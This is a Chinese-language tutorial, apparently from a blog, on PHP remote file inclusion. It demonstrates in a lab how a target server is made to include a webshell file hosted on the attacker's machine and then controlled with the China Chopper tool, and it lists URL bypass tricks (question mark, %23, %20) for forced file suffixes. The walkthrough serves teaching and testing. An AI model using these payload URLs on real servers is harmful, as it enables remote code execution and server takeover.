远程文件包含webshell

PHP的配置选项allow_url_include为ON的话,则include/require函数可以加载远程文件,这种漏洞被称为"远程文件包含漏洞(Remote File Inclusion RFI)"。

allow_url_fopen = On 是否允许打开远程文件
allow_url_include = On 是否允许include/require远程文件

注意:如果是包含远程服务器上的PHP文件,那么得到的是被远程服务器解析过的PHP,所以在写一句话木马的时候就不要做成.php的文件,一般包含.txt的文件

例如:我们用windows server 2003 服务器包含一个Linux上的phpinfo.php文件,那么得到的就是Linux的php配置文件,而不是Windows上的php配置文件。

无限制远程文件包含漏洞示例:

已知192.168.173.128这台服务器中存在着文件包含漏洞,我们想要通过远程包含自己的服务器上的木马文件

192.168.173.128/index.php


首先,我们在自己的服务器192.168.173.129上新建一个文件2.txt


我们通过远程包含文件包含到192.168.173.128这台目标服务器上,包含的方式与本地包含的方式一样:

http://192.168.173.128/index.php?page=http://192.168.173.129/2.txt

页面显示正常,说明文件包含成功!

我们继续包含一个木马文件getshell.txt看能否执行,为了方便查看,我们让它输出“123”


我们在浏览器的地址栏中写入

http://192.168.173.128/index.php?page=http://192.168.173.129/getshell.txt

成功显示出页面,文件包含成功

下面我们用中国菜刀连一下,看能否连接到目标的服务器

打开菜刀,右键“添加”,然后在地址栏中填入我们包含的payload:http://192.168.173.128/index.php?page=http://192.168.173.129/getshell.txt
,密码为“x”,选择php脚本,点击添加

有限制远程文件包含漏洞示例:

测试代码:


代码中多添加了html后缀,导致远程包含的文件也会多一个html后缀。

image.png

问号绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt?
image.png

#号绕过

http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23

image.png

还有哪些可以绕过?用burp跑一遍发现空格也可以绕过:

image.png
http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20
image.png

你可能感兴趣的:(远程文件包含webshell)